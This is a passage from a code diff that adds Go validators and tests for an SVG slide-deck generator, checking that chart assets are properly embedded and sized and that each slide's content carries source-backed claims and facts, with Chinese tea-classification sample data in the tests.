+fs.writeFileSync(output, svg);
+view.finalize();

internal/svglide/chart_usage.go

@@ -0,0 +1,195 @@
+package svglide
+
+import (
+	"encoding/xml"
+	"fmt"
+	"strconv"
+	"strings"
+)
+
+const chartUsageReceiptPath = "receipts/chart_usage.json"
+
+type ChartUsageReport struct {
+	Status string            `json:"status"`
+	Charts []ChartUsageChart `json:"charts"`
+	Issues []ChartUsageIssue `json:"issues"`
+}
+
+type ChartUsageChart struct {
+	ID             string `json:"id"`
+	SlideID        string `json:"slide_id"`
+	SVGPath        string `json:"svg_path"`
+	ReferenceCount int    `json:"reference_count"`
+}
+
+type ChartUsageIssue struct {
+	Code    string `json:"code"`
+	Path    string `json:"path,omitempty"`
+	Message string `json:"message"`
+}
+
+type chartUsageReference struct {
+	SlideID string
+	Path    string
+	Href    string
+	Width   float64
+	Height  float64
+}
+
+func EvaluateChartUsageRun(safeRoot string, deck authorDeck, manifest chartManifestFile, briefs chartBriefFile) ChartUsageReport {
+	report := ChartUsageReport{Status: "passed", Charts: []ChartUsageChart{}, Issues: []ChartUsageIssue{}}
+	refsByPath := map[string][]chartUsageReference{}
+	rawBySlide := map[string]string{}
+	for _, slide := range deck.Slides {
+		slidePath := strings.TrimSpace(slide.Path)
+		raw, err := readRunRegularArtifact(safeRoot, slidePath)
+		if err != nil {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartUsageIssue{Code: "svglide.chart_usage.read_slide", Path: slidePath, Message: err.Error()})
+			continue
+		}
+		rawText := string(raw)
+		rawBySlide[strings.TrimSpace(slide.ID)] = rawText
+		refs, issues := extractChartUsageReferences(strings.TrimSpace(slide.ID), slidePath, rawText)
+		if len(issues) > 0 {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, issues...)
+		}
+		for _, ref := range refs {
+			refsByPath[ref.Path] = append(refsByPath[ref.Path], ref)
+		}
+	}
+	briefByID := chartBriefByID(briefs)
+	expectedSlideIDs := map[string]bool{}
+	for _, chart := range manifest.Charts {
+		id := strings.TrimSpace(chart.ID)
+		slideID := strings.TrimSpace(chart.SlideID)
+		svgPath := strings.TrimSpace(chart.SVGPath)
+		expectedSlideIDs[slideID] = true
+		refs := refsByPath[svgPath]
+		report.Charts = append(report.Charts, ChartUsageChart{ID: id, SlideID: slideID, SVGPath: svgPath, ReferenceCount: len(refs)})
+		if len(refs) == 0 {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartUsageIssue{Code: "svglide.chart_usage.not_referenced", Path: svgPath, Message: fmt.Sprintf("chart %q is not referenced by a <rect slide:role=\"chart\">", id)})
+			continue
+		}
+		if len(refs) > 1 {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartUsageIssue{Code: "svglide.chart_usage.duplicate_reference", Path: svgPath, Message: fmt.Sprintf("chart %q has %d references; expected exactly one", id, len(refs))})
+		}
+		minWidth, minHeight := chartUsageMinSize(briefByID[strings.TrimSpace(chart.BriefID)])
+		for _, ref := range refs {
+			if ref.SlideID != slideID {
+				report.Status = "failed"
+				report.Issues = append(report.Issues, ChartUsageIssue{Code: "svglide.chart_usage.wrong_slide", Path: svgPath, Message: fmt.Sprintf("chart %q referenced on slide %q, want %q", id, ref.SlideID, slideID)})
+			}
+			if ref.Width < float64(minWidth) || ref.Height < float64(minHeight) {
+				report.Status = "failed"
+				report.Issues = append(report.Issues, ChartUsageIssue{Code: "svglide.chart_usage.too_small", Path: svgPath, Message: fmt.Sprintf("chart %q rendered at %.0fx%.0f, minimum is %dx%d", id, ref.Width, ref.Height, minWidth, minHeight)})
+			}
+		}
+	}
+	for slideID := range expectedSlideIDs {
+		hasValidRef := false
+		for _, refs := range refsByPath {
+			for _, ref := range refs {
+				if ref.SlideID == slideID {
+					hasValidRef = true
+					break
+				}
+			}
+		}
+		if !hasValidRef && chartSlideLooksHandDrawn(rawBySlide[slideID]) {
+			report.Status = "failed"
+			report.Issues = append(report.Issues, ChartUsageIssue{Code: "svglide.chart_usage.hand_drawn_chart", Path: slideID, Message: "slide appears to hand-draw chart primitives instead of embedding a rendered chart asset"})
+		}
+	}
+	return report
+}
+
+func writeChartUsageReport(safeRoot string, report ChartUsageReport) error {
+	target, err := ensureRunFileTargetForWrite(safeRoot, chartUsageReceiptPath)
+	if err != nil {
+		return err
+	}
+	return writeJSON(target, report)
+}
+
+func extractChartUsageReferences(slideID, slidePath, svg string) ([]chartUsageReference, []ChartUsageIssue) {
+	refs := []chartUsageReference{}
+	issues := []ChartUsageIssue{}
+	decoder := xml.NewDecoder(strings.NewReader(svg))
+	for {
+		token, err := decoder.Token()
+		if err != nil {
+			break
+		}
+		start, ok := token.(xml.StartElement)
+		if !ok {
+			continue
+		}
+		attrs := parseSVGAttrs(start.Attr)
+		if strings.TrimSpace(attrs["role"]) != "chart" {
+			continue
+		}
+		if start.Name.Local != "rect" {
+			issues = append(issues, ChartUsageIssue{Code: "svglide.chart_usage.invalid_chart_element", Path: slidePath, Message: fmt.Sprintf("<%s slide:role=\"chart\"> is invalid; use <rect slide:role=\"chart\">", start.Name.Local)})
+			continue
+		}
+		href := strings.TrimSpace(attrs["href"])
+		refs = append(refs, chartUsageReference{
+			SlideID: slideID,
+			Path:    normalizeChartHref(slidePath, href),
+			Href:    href,
+			Width:   parseChartUsageFloatAttr(attrs["width"]),
+			Height:  parseChartUsageFloatAttr(attrs["height"]),
+		})
+	}
+	return refs, issues
+}
+
+func normalizeChartHref(slidePath, href string) string {
+	href = strings.TrimSpace(href)
+	if strings.HasPrefix(href, "assets/charts/") {
+		return href
+	}
+	return normalizeSlideAssetHref(slidePath, href)
+}
+
+func parseChartUsageFloatAttr(raw string) float64 {
+	raw = strings.TrimSpace(strings.TrimSuffix(raw, "px"))
+	value, _ := strconv.ParseFloat(raw, 64)
+	return value
+}
+
+func chartBriefByID(briefs chartBriefFile) map[string]chartBriefEntry {
+	out := map[string]chartBriefEntry{}
+	for _, brief := range briefs.Charts {
+		if id := strings.TrimSpace(brief.ID); id != "" {
+			out[id] = brief
+		}
+	}
+	return out
+}
+
+func chartUsageMinSize(brief chartBriefEntry) (int, int) {
+	minWidth := 480
+	minHeight := 260
+	if brief.MinWidth > minWidth {
+		minWidth = brief.MinWidth
+	}
+	if brief.MinHeight > minHeight {
+		minHeight = brief.MinHeight
+	}
+	return minWidth, minHeight
+}
+
+func chartSlideLooksHandDrawn(svg string) bool {
+	raw := strings.ToLower(svg)
+	rects := strings.Count(raw, "<rect") - strings.Count(raw, `slide:role="chart"`)
+	circles := strings.Count(raw, "<circle")
+	lines := strings.Count(raw, "<line")
+	paths := strings.Count(raw, "<path")
+	texts := strings.Count(raw, "<text")
+	return rects >= 4 || circles >= 6 || (lines >= 2 && (rects+paths+circles) >= 4) || (texts >= 5 && (rects+paths+circles+lines) >= 4)
+}

internal/svglide/chart_usage_test.go

@@ -0,0 +1,121 @@
+package svglide
+
+import "testing"
+
+func TestChartUsageAcceptsRectChartReference(t *testing.T) {
+	initStatusTestRun(t)
+	deck := writeChartUsageDeckForTest(t, `<rect slide:role="chart" href="../assets/charts/revenue.svg" x="120" y="120" width="640" height="320"/>`)
+	report := EvaluateChartUsageRun("demo", deck, chartUsageManifestForTest("s1"), chartUsageBriefsForTest())
+
+	if report.Status != "passed" {
+		t.Fatalf("report = %+v, want passed", report)
+	}
+}
+
+func TestChartUsageRejectsImageRoleChart(t *testing.T) {
+	initStatusTestRun(t)
+	deck := writeChartUsageDeckForTest(t, `<image slide:role="chart" href="../assets/charts/revenue.svg" x="120" y="120" width="640" height="320"/>`)
+	report := EvaluateChartUsageRun("demo", deck, chartUsageManifestForTest("s1"), chartUsageBriefsForTest())
+
+	if !chartUsageIssuesContain(report.Issues, "svglide.chart_usage.invalid_chart_element") {
+		t.Fatalf("issues = %+v, want invalid_chart_element", report.Issues)
+	}
+}
+
+func TestChartUsageRejectsGroupRoleChart(t *testing.T) {
+	initStatusTestRun(t)
+	deck := writeChartUsageDeckForTest(t, `<g slide:role="chart" href="../assets/charts/revenue.svg"></g>`)
+	report := EvaluateChartUsageRun("demo", deck, chartUsageManifestForTest("s1"), chartUsageBriefsForTest())
+
+	if !chartUsageIssuesContain(report.Issues, "svglide.chart_usage.invalid_chart_element") {
+		t.Fatalf("issues = %+v, want invalid_chart_element", report.Issues)
+	}
+}
+
+func TestChartUsageRejectsWrongSlide(t *testing.T) {
+	initStatusTestRun(t)
+	deck := writeChartUsageDeckForTest(t, `<rect slide:role="chart" href="../assets/charts/revenue.svg" x="120" y="120" width="640" height="320"/>`)
+	report := EvaluateChartUsageRun("demo", deck, chartUsageManifestForTest("other-slide"), chartUsageBriefsForTest())
+
+	if !chartUsageIssuesContain(report.Issues, "svglide.chart_usage.wrong_slide") {
+		t.Fatalf("issues = %+v, want wrong_slide", report.Issues)
+	}
+}
+
+func TestChartUsageRejectsTinyChart(t *testing.T) {
+	initStatusTestRun(t)
+	deck := writeChartUsageDeckForTest(t, `<rect slide:role="chart" href="../assets/charts/revenue.svg" x="120" y="120" width="240" height="120"/>`)
+	report := EvaluateChartUsageRun("demo", deck, chartUsageManifestForTest("s1"), chartUsageBriefsForTest())
+
+	if !chartUsageIssuesContain(report.Issues, "svglide.chart_usage.too_small") {
+		t.Fatalf("issues = %+v, want too_small", report.Issues)
+	}
+}
+
+func TestChartUsageRejectsHandDrawnChart(t *testing.T) {
+	initStatusTestRun(t)
+	deck := writeChartUsageDeckForTest(t, `<line x1="100" y1="420" x2="700" y2="420"/><line x1="100" y1="100" x2="100" y2="420"/><rect x="150" y="320" width="60" height="100"/><rect x="250" y="260" width="60" height="160"/><rect x="350" y="210" width="60" height="210"/><rect x="450" y="180" width="60" height="240"/><text x="150" y="450">$2B</text><text x="250" y="450">$5B</text><text x="350" y="450">$8B</text><text x="450" y="450">$9B</text>`)
+	report := EvaluateChartUsageRun("demo", deck, chartUsageManifestForTest("s1"), chartUsageBriefsForTest())
+
+	if !chartUsageIssuesContain(report.Issues, "svglide.chart_usage.hand_drawn_chart") {
+		t.Fatalf("issues = %+v, want hand_drawn_chart", report.Issues)
+	}
+}
+
+func TestQualityWritesChartUsageReceipt(t *testing.T) {
+	initStatusTestRun(t)
+	writeMinimalImageQualityDeckForTest(t)
+	mustWriteTestFile(t, "demo/assets/assets_manifest.json", `{"assets":[],"no_image_reason":"Chart usage receipt smoke does not exercise raster image selection."}`)
+
+	if _, err := CheckQuality("demo"); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := readRunRegularArtifact("demo", chartUsageReceiptPath); err != nil {
+		t.Fatalf("missing chart usage receipt: %v", err)
+	}
+}
+
+func writeChartUsageDeckForTest(t *testing.T, body string) authorDeck {
+	t.Helper()
+	mustWriteTestFile(t, "demo/slides/01.svg", `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" viewBox="0 0 960 540" slide:role="slide">`+body+`</svg>`)
+	return authorDeck{Slides: []authorDeckSlide{{ID: "s1", Path: "slides/01.svg"}}}
+}
+
+func chartUsageManifestForTest(slideID string) chartManifestFile {
+	return chartManifestFile{
+		Renderer: "vega-lite",
+		Charts: []chartManifestEntry{{
+			ID:            "revenue",
+			SlideID:       slideID,
+			Renderer:      "vega-lite",
+			BriefID:       "revenue",
+			SpecPath:      "assets/charts/specs/revenue.vl.json",
+			SVGPath:       "assets/charts/revenue.svg",
+			SourceID:      "web1",
+			Unit:          "$",
+			Takeaway:      "Revenue increased",
+			RenderReceipt: chartRenderReceiptPath,
+		}},
+	}
+}
+
+func chartUsageBriefsForTest() chartBriefFile {
+	return chartBriefFile{Charts: []chartBriefEntry{{
+		ID:        "revenue",
+		SlideID:   "s1",
+		Purpose:   "trend",
+		Takeaway:  "Revenue increased",
+		Renderer:  "vega-lite",
+		SourceIDs: []string{"web1"},
+		Unit:      "$",
+	}}}
+}
+
+func chartUsageIssuesContain(issues []ChartUsageIssue, code string) bool {
+	for _, issue := range issues {
+		if issue.Code == code {
+			return true
+		}
+	}
+	return false
+}

internal/svglide/content_payload.go

@@ -0,0 +1,445 @@
+package svglide
+
+import (
+	"encoding/json"
+	"fmt"
+	"regexp"
+	"strings"
+	"unicode"
+)
+
+const contentPayloadReportPath = "receipts/content_payload.json"
+
+type ContentPayloadReport struct {
+	Status  string                `json:"status"`
+	Metrics ContentPayloadMetrics `json:"metrics"`
+	Issues  []ContentPayloadIssue `json:"issues,omitempty"`
+}
+
+type ContentPayloadMetrics struct {
+	Slides                       int `json:"slides"`
+	SubstantiveSlides            int `json:"substantive_slides"`
+	SparseLabelListCount         int `json:"sparse_label_list_count"`
+	MissingCentralClaimCount     int `json:"missing_central_claim_count"`
+	MissingSupportingPointsCount int `json:"missing_supporting_points_count"`
+	MissingSourceBoundFactCount  int `json:"missing_source_bound_fact_count"`
+	MissingVisualDataItemsCount  int `json:"missing_visual_data_items_count"`
+	SourceBindingIssueCount      int `json:"source_binding_issue_count"`
+	IssueCount                   int `json:"issue_count"`
+}
+
+type ContentPayloadIssue struct {
+	Code    string `json:"code"`
+	SlideID string `json:"slide_id,omitempty"`
+	Message string `json:"message"`
+}
+
+type contentPayloadFile struct {
+	PromptContract json.RawMessage       `json:"prompt_contract"`
+	Slides         []contentPayloadSlide `json:"slides"`
+}
+
+type contentPayloadSlide struct {
+	ID                   string                             `json:"id"`
+	Role                 string                             `json:"role"`
+	Title                string                             `json:"title"`
+	Content              string                             `json:"content"`
+	CentralClaim         string                             `json:"central_claim"`
+	AudienceTakeaway     string                             `json:"audience_takeaway"`
+	SupportingPoints     []contentPayloadSupportingPoint    `json:"supporting_points"`
+	SourceBoundFacts     []contentPayloadSourceBoundFact    `json:"source_bound_facts"`
+	ExamplesOrParameters []contentPayloadExampleOrParameter `json:"examples_or_parameters"`
+	VisualDataItems      []contentPayloadVisualDataItem     `json:"visual_data_items"`
+	SoWhat               string                             `json:"so_what"`
+	SourceRefs           []string                           `json:"source_refs"`
+	Visuals              []contentPayloadVisual             `json:"visuals"`
+}
+
+type contentPayloadSupportingPoint struct {
+	Text       string   `json:"text"`
+	SourceRefs []string `json:"source_refs"`
+}
+
+type contentPayloadSourceBoundFact struct {
+	Fact      string `json:"fact"`
+	SourceRef string `json:"source_ref"`
+	Usage     string `json:"usage"`
+}
+
+type contentPayloadExampleOrParameter struct {
+	Label       string `json:"label"`
+	Value       string `json:"value"`
+	Explanation string `json:"explanation"`
+	SourceRef   string `json:"source_ref"`
+}
+
+type contentPayloadVisualDataItem struct {
+	Label       string `json:"label"`
+	Value       string `json:"value"`
+	Role        string `json:"role"`
+	Explanation string `json:"explanation"`
+	SourceRef   string `json:"source_ref"`
+}
+
+type contentPayloadVisual struct {
+	ID          string `json:"id"`
+	Type        string `json:"type"`
+	Instruction string `json:"instruction"`
+	VisualForm  string `json:"visual_form"`
+}
+
+type contentPayloadDeckSlideMeta struct {
+	ID    string
+	Title string
+	Role  string
+}
+
+func EvaluateContentPayloadRun(root string) (ContentPayloadReport, error) {
+	safeRoot, _, err := readRun(root)
+	if err != nil {
+		return ContentPayloadReport{}, err
+	}
+	return evaluateContentPayloadAtRoot(safeRoot)
+}
+
+func evaluateContentPayloadAtRoot(safeRoot string) (ContentPayloadReport, error) {
+	raw, err := readRunRegularArtifact(safeRoot, "content/slide_content.json")
+	if err != nil {
+		return ContentPayloadReport{}, fmt.Errorf("content/slide_content.json: read artifact: %w", err)
+	}
+	var file contentPayloadFile
+	if err := json.Unmarshal(raw, &file); err != nil {
+		return ContentPayloadReport{}, fmt.Errorf("content/slide_content.json: invalid JSON: %w", err)
+	}
+	report := ContentPayloadReport{
+		Status:  "passed",
+		Metrics: ContentPayloadMetrics{Slides: len(file.Slides)},
+		Issues:  []ContentPayloadIssue{},
+	}
+	if !contentPayloadStrict(file) {
+		return report, nil
+	}
+	sourceIDs, err := readKnownSourceIDs(safeRoot)
+	if err != nil {
+		return ContentPayloadReport{}, err
+	}
+	metaByID := readContentPayloadDeckMeta(safeRoot)
+	for i, slide := range file.Slides {
+		if meta, ok := metaByID[strings.TrimSpace(slide.ID)]; ok {
+			if strings.TrimSpace(slide.Role) == "" {
+				slide.Role = meta.Role
+			}
+			if strings.TrimSpace(slide.Title) == "" {
+				slide.Title = meta.Title
+			}
+		}
+		evaluateContentPayloadSlide(&report, slide, sourceIDs, i, len(file.Slides))
+	}
+	report.Metrics.IssueCount = len(report.Issues)
+	if report.Metrics.IssueCount > 0 {
+		report.Status = "failed"
+	}
+	return report, nil
+}
+
+func writeContentPayloadReport(safeRoot string, report ContentPayloadReport) error {
+	target, err := ensureRunFileTargetForWrite(safeRoot, contentPayloadReportPath)
+	if err != nil {
+		return err
+	}
+	return writeJSON(target, report)
+}
+
+func contentPayloadStrict(file contentPayloadFile) bool {
+	if raw := strings.TrimSpace(string(file.PromptContract)); raw != "" && raw != "null" && raw != "{}" {
+		return true
+	}
+	for _, slide := range file.Slides {
+		if strings.TrimSpace(slide.CentralClaim) != "" ||
+			strings.TrimSpace(slide.AudienceTakeaway) != "" ||
+			len(slide.SupportingPoints) > 0 ||
+			len(slide.SourceBoundFacts) > 0 ||
+			len(slide.VisualDataItems) > 0 ||
+			strings.TrimSpace(slide.SoWhat) != "" {
+			return true
+		}
+	}
+	return false
+}
+
+func readContentPayloadDeckMeta(safeRoot string) map[string]contentPayloadDeckSlideMeta {
+	raw, err := readRunRegularArtifact(safeRoot, "outline/deck.json")
+	if err != nil {
+		return map[string]contentPayloadDeckSlideMeta{}
+	}
+	var deck struct {
+		Slides []struct {
+			ID    string `json:"id"`
+			Title string `json:"title"`
+			Role  string `json:"role"`
+		} `json:"slides"`
+	}
+	if err := json.Unmarshal(raw, &deck); err != nil {
+		return map[string]contentPayloadDeckSlideMeta{}
+	}
+	byID := make(map[string]contentPayloadDeckSlideMeta, len(deck.Slides))
+	for _, slide := range deck.Slides {
+		id := strings.TrimSpace(slide.ID)
+		if id == "" {
+			continue
+		}
+		byID[id] = contentPayloadDeckSlideMeta{ID: id, Title: strings.TrimSpace(slide.Title), Role: strings.TrimSpace(slide.Role)}
+	}
+	return byID
+}
+
+func evaluateContentPayloadSlide(report *ContentPayloadReport, slide contentPayloadSlide, sourceIDs map[string]bool, index int, total int) {
+	substantive := isSubstantiveContentPayloadSlide(slide, index, total)
+	if substantive {
+		report.Metrics.SubstantiveSlides++
+	}
+	id := strings.TrimSpace(slide.ID)
+	hasFloor := contentPayloadHasFloor(slide)
+	if substantive && isSparseLabelList(slide.Content) && !hasFloor {
+		addContentPayloadIssue(report, "svglide.content_payload.sparse_label_list", id, "slide content is a label list without enough structured audience payload")
+	}
+	if substantive && len([]rune(strings.TrimSpace(slide.CentralClaim))) < 12 {
+		addContentPayloadIssue(report, "svglide.content_payload.missing_central_claim", id, "substantive slide needs a central_claim of at least 12 characters")
+	}
+	if substantive && validSupportingPointCount(slide.SupportingPoints) < 2 {
+		addContentPayloadIssue(report, "svglide.content_payload.missing_supporting_points", id, "substantive slide needs at least two source-backed supporting_points")
+	}
+	if substantive && validSourceBoundFactCount(slide.SourceBoundFacts) < 1 {
+		addContentPayloadIssue(report, "svglide.content_payload.missing_source_bound_fact", id, "substantive slide needs at least one source_bound_fact")
+	}
+	checkContentPayloadSourceBindings(report, slide, sourceIDs)
+	checkContentPayloadVisualData(report, slide)
+}
+
+func contentPayloadHasFloor(slide contentPayloadSlide) bool {
+	return len([]rune(strings.TrimSpace(slide.CentralClaim))) >= 12 &&
+		validSupportingPointCount(slide.SupportingPoints) >= 2 &&
+		validSourceBoundFactCount(slide.SourceBoundFacts) >= 1 &&
+		contentPayloadVisualDataRequirementMet(slide)
+}
+
+func validSupportingPointCount(points []contentPayloadSupportingPoint) int {
+	count := 0
+	for _, point := range points {
+		if len([]rune(strings.TrimSpace(point.Text))) < 12 || len(point.SourceRefs) == 0 {
+			continue
+		}
+		count++
+	}
+	return count
+}
+
+func validSourceBoundFactCount(facts []contentPayloadSourceBoundFact) int {
+	count := 0
+	for _, fact := range facts {
+		if len([]rune(strings.TrimSpace(fact.Fact))) < 8 || strings.TrimSpace(fact.SourceRef) == "" {
+			continue
+		}
+		count++
+	}
+	return count
+}
+
+func isSubstantiveContentPayloadSlide(slide contentPayloadSlide, index int, total int) bool {
+	role := strings.ToLower(strings.TrimSpace(slide.Role))
+	switch role {
+	case "cover", "opening", "agenda", "section", "section_divider", "divider":
+		return false
+	case "closing", "end", "appendix":
+		return false
+	}
+	idTitle := strings.ToLower(strings.Join([]string{slide.ID, slide.Title, slide.Content}, " "))
+	if index == 0 && (strings.Contains(idTitle, "cover") || strings.Contains(idTitle, "opening") || strings.Contains(idTitle, "封面") || strings.Contains(idTitle, "开场")) {
+		return false
+	}
+	if total > 1 && index == total-1 && (strings.Contains(idTitle, "closing") || strings.Contains(idTitle, "结语") || strings.Contains(idTitle, "总结") || strings.Contains(idTitle, "end")) {
+		return false
+	}
+	return true
+}
+
+func checkContentPayloadSourceBindings(report *ContentPayloadReport, slide contentPayloadSlide, sourceIDs map[string]bool) {
+	id := strings.TrimSpace(slide.ID)
+	for _, point := range slide.SupportingPoints {
+		for _, ref := range point.SourceRefs {
+			checkContentPayloadSourceRef(report, id, ref, sourceIDs)
+		}
+	}
+	for _, fact := range slide.SourceBoundFacts {
+		checkContentPayloadSourceRef(report, id, fact.SourceRef, sourceIDs)
+	}
+	for _, item := range slide.ExamplesOrParameters {
+		if strings.TrimSpace(item.SourceRef) != "" {
+			checkContentPayloadSourceRef(report, id, item.SourceRef, sourceIDs)
+		}
+	}
+	for _, item := range slide.VisualDataItems {
+		if strings.TrimSpace(item.SourceRef) != "" {
+			checkContentPayloadSourceRef(report, id, item.SourceRef, sourceIDs)
+		}
+		if strings.TrimSpace(item.Explanation) == "" {
+			addContentPayloadIssue(report, "svglide.content_payload.visual_data_without_explanation", id, fmt.Sprintf("visual_data_item %q needs an explanation", strings.TrimSpace(item.Label)))
+		}
+	}
+}
+
+func checkContentPayloadSourceRef(report *ContentPayloadReport, slideID string, ref string, sourceIDs map[string]bool) {
+	ref = strings.TrimSpace(ref)
+	if ref == "" || sourceIDs[ref] {
+		return
+	}
+	addContentPayloadIssue(report, "svglide.content_payload.unknown_source_ref", slideID, fmt.Sprintf("structured payload references unknown source id %q", ref))
+}
+
+func checkContentPayloadVisualData(report *ContentPayloadReport, slide contentPayloadSlide) {
+	if contentPayloadVisualDataRequirementMet(slide) {
+		return
+	}
+	addContentPayloadIssue(report, "svglide.content_payload.visual_form_missing_data", strings.TrimSpace(slide.ID), "declared visual_form needs matching visual_data_items")
+}
+
+func contentPayloadVisualDataRequirementMet(slide contentPayloadSlide) bool {
+	requiredRole, minItems := contentPayloadVisualDataRequirement(slide.Visuals)
+	if minItems == 0 {
+		return true
+	}
+	if requiredRole == "" {
+		return len(slide.VisualDataItems) >= minItems
+	}
+	count := 0
+	for _, item := range slide.VisualDataItems {
+		if strings.TrimSpace(item.Explanation) == "" {
+			continue
+		}
+		if strings.TrimSpace(item.Role) == requiredRole {
+			count++
+		}
+	}
+	return count >= minItems
+}
+
+func contentPayloadVisualDataRequirement(visuals []contentPayloadVisual) (string, int) {
+	requiredRole := ""
+	minItems := 0
+	for _, visual := range visuals {
+		typ := strings.TrimSpace(visual.Type)
+		form := normalizeAuthorVisualForm(visual.VisualForm)
+		if typ == "chart" {
+			requiredRole, minItems = strongerVisualDataRequirement(requiredRole, minItems, "metric", 2)
+			continue
+		}
+		if typ == "table" {
+			requiredRole, minItems = strongerVisualDataRequirement(requiredRole, minItems, "", 3)
+			continue
+		}
+		switch form {
+		case authorVisualFormProcessFlow:
+			requiredRole, minItems = strongerVisualDataRequirement(requiredRole, minItems, "step", 3)
+		case authorVisualFormMapRoute:
+			requiredRole, minItems = strongerVisualDataRequirement(requiredRole, minItems, "map_anchor", 3)
+		case authorVisualFormParameterMatrix, authorVisualFormFourQuadrant, authorVisualFormSpectrum, authorVisualFormSensoryWheel:
+			requiredRole, minItems = strongerVisualDataRequirement(requiredRole, minItems, "", 3)
+		case authorVisualFormObjectCallout:
+			requiredRole, minItems = strongerVisualDataRequirement(requiredRole, minItems, "callout", 3)
+		}
+	}
+	return requiredRole, minItems
+}
+
+func strongerVisualDataRequirement(currentRole string, currentMin int, nextRole string, nextMin int) (string, int) {
+	if nextMin > currentMin {
+		return nextRole, nextMin
+	}
+	return currentRole, currentMin
+}
+
+func addContentPayloadIssue(report *ContentPayloadReport, code string, slideID string, message string) {
+	report.Issues = append(report.Issues, ContentPayloadIssue{Code: code, SlideID: slideID, Message: message})
+	switch code {
+	case "svglide.content_payload.sparse_label_list":
+		report.Metrics.SparseLabelListCount++
+	case "svglide.content_payload.missing_central_claim":
+		report.Metrics.MissingCentralClaimCount++
+	case "svglide.content_payload.missing_supporting_points":
+		report.Metrics.MissingSupportingPointsCount++
+	case "svglide.content_payload.missing_source_bound_fact":
+		report.Metrics.MissingSourceBoundFactCount++
+	case "svglide.content_payload.visual_form_missing_data", "svglide.content_payload.visual_data_without_explanation":
+		report.Metrics.MissingVisualDataItemsCount++
+	case "svglide.content_payload.unknown_source_ref":
+		report.Metrics.SourceBindingIssueCount++
+	}
+}
+
+func summarizeContentPayloadIssues(issues []ContentPayloadIssue) string {
+	if len(issues) == 0 {
+		return ""
+	}
+	parts := make([]string, 0, minPositive(len(issues), 3))
+	for i, issue := range issues {
+		if i >= 3 {
+			break
+		}
+		if strings.TrimSpace(issue.SlideID) != "" {
+			parts = append(parts, fmt.Sprintf("%s:%s", issue.SlideID, issue.Code))
+			continue
+		}
+		parts = append(parts, issue.Code)
+	}
+	if len(issues) > len(parts) {
+		parts = append(parts, fmt.Sprintf("+%d more", len(issues)-len(parts)))
+	}
+	return strings.Join(parts, ", ")
+}
+
+var sparseLabelSplitRE = regexp.MustCompile(`[,\n\r;/|，、；：:]+`)
+
+func isSparseLabelList(content string) bool {
+	content = strings.TrimSpace(content)
+	if content == "" {
+		return false
+	}
+	rawTokens := sparseLabelSplitRE.Split(content, -1)
+	tokens := make([]string, 0, len(rawTokens))
+	totalRunes := 0
+	richTokens := 0
+	for _, raw := range rawTokens {
+		token := strings.TrimSpace(strings.Trim(raw, "-•· \t"))
+		if token == "" {
+			continue
+		}
+		tokens = append(tokens, token)
+		totalRunes += len([]rune(token))
+		if contentPayloadTokenHasExplanation(token) {
+			richTokens++
+		}
+	}
+	if len(tokens) < 3 {
+		return false
+	}
+	avg := totalRunes / len(tokens)
+	return avg <= 8 && richTokens < 2
+}
+
+func contentPayloadTokenHasExplanation(token string) bool {
+	for _, r := range token {
+		if unicode.IsDigit(r) {
+			return true
+		}
+	}
+	for _, marker := range []string{
+		"是", "为", "有", "由", "因", "使", "让", "会", "能", "把", "从", "到",
+		"决定", "来自", "意味着", "用于", "形成", "影响", "体现", "because", "drives", "means",
+		"%", "℃", "°", "ml", "g", "kg", "年", "月", "倍", "x",
+	} {
+		if strings.Contains(strings.ToLower(token), strings.ToLower(marker)) {
+			return true
+		}
+	}
+	return false
+}

internal/svglide/content_payload_test.go

@@ -0,0 +1,175 @@
+package svglide
+
+import "testing"
+
+func TestContentPayloadRejectsSparseLabelList(t *testing.T) {
+	initContentPayloadTestRun(t, `{
+	  "prompt_contract": `+promptContractJSON(StageSlideContent)+`,
+	  "slides": [{
+	    "id": "02-tea-types",
+	    "content": "白茶\n绿茶\n黄茶\n乌龙\n红茶\n黑茶",
+	    "central_claim": "",
+	    "audience_takeaway": "",
+	    "supporting_points": [],
+	    "source_bound_facts": [],
+	    "source_refs": ["tea-source"],
+	    "visuals": [{"id": "tea_taxonomy", "type": "diagram", "instruction": "Six tea classes", "visual_form": "parameter_matrix"}],
+	    "so_what": ""
+	  }]
+	}`)
+
+	report, err := EvaluateContentPayloadRun("demo")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed", report.Status)
+	}
+	for _, want := range []string{
+		"svglide.content_payload.sparse_label_list",
+		"svglide.content_payload.missing_supporting_points",
+		"svglide.content_payload.missing_source_bound_fact",
+		"svglide.content_payload.visual_form_missing_data",
+	} {
+		if !contentPayloadIssueCodesContain(report.Issues, want) {
+			t.Fatalf("issues = %+v, want %s", report.Issues, want)
+		}
+	}
+}
+
+func TestContentPayloadPassesStructuredCultureSlide(t *testing.T) {
+	initContentPayloadTestRun(t, `{
+	  "prompt_contract": `+promptContractJSON(StageSlideContent)+`,
+	  "slides": [{
+	    "id": "02-tea-types",
+	    "content": "白茶\n绿茶\n黄茶\n乌龙\n红茶\n黑茶",
+	    "central_claim": "六大茶类的核心差异来自氧化程度和工艺路径。",
+	    "audience_takeaway": "理解分类逻辑后，观众能把茶名、工艺和风味联系起来。",
+	    "supporting_points": [
+	      {"text": "绿茶通过杀青固定鲜爽风味，因此呈现低氧化特征。", "source_refs": ["tea-source"]},
+	      {"text": "乌龙茶处在半氧化区间，香气和焙火层次更复杂。", "source_refs": ["tea-source"]}
+	    ],
+	    "source_bound_facts": [
+	      {"fact": "茶类划分和加工方式直接相关。", "source_ref": "tea-source", "usage": "evidence"}
+	    ],
+	    "examples_or_parameters": [
+	      {"label": "氧化程度", "value": "低到高", "explanation": "用同一条尺度解释绿茶、乌龙、红茶的差异。", "source_ref": "tea-source"}
+	    ],
+	    "visual_data_items": [
+	      {"label": "白茶", "role": "comparison", "explanation": "轻加工，适合放在低干预端。", "source_ref": "tea-source"},
+	      {"label": "绿茶", "role": "comparison", "explanation": "杀青保持鲜爽，氧化程度低。", "source_ref": "tea-source"},
+	      {"label": "黄茶", "role": "comparison", "explanation": "闷黄形成不同汤色和口感。", "source_ref": "tea-source"},
+	      {"label": "乌龙", "role": "comparison", "explanation": "半氧化形成花果香和焙火感。", "source_ref": "tea-source"},
